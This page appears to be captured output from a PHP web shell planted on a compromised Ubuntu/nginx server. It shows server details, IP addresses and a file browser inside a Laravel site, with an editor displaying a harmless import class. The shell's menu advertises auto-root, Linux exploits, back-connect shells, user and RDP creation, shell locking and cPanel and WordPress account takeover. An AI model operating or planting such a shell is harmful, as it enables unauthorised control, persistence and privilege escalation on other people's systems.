Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdg.amatya.biz-8 /
app /
Imports /
[ HOME SHELL ]
Name
Size
Permission
Action
CylinderBarcodeImport.php
493
B
-rw-rw-r--
CylinderCodeArrayImport.php
316
B
-rw-rw-r--
CylinderCodeImport.php
1.07
KB
-rw-rw-r--
RegulatorCodeImport.php
1.62
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CylinderCodeImport.php
<?php namespace App\Imports; use Illuminate\Http\Request; use App\Models\RepairDetail; use App\Models\Repair; use Illuminate\Support\Collection; use Maatwebsite\Excel\Concerns\ToCollection; use Maatwebsite\Excel\Concerns\ToModel; use Maatwebsite\Excel\Concerns\WithHeadingRow; class CylinderCodeImport implements ToModel { /** * @param array $row * * @return \Illuminate\Database\Eloquent\Model|null */ private $repair_id=null; public function __construct(int $repair_id) { $this->repair_id=$repair_id; } public function model(array $row) { return new RepairDetail([ 'cylinder_code' => $row[0], 'repair_id'=> $this->repair_id, 'refill' => '1', 'wash' => '1', 'status' => '0', 'created_by' =>'0', 'updated_by' => '0', ]); } public function rules(): array { return [ '0' => [ 'required', 'cylinder_code.unique', ], ]; } }
Close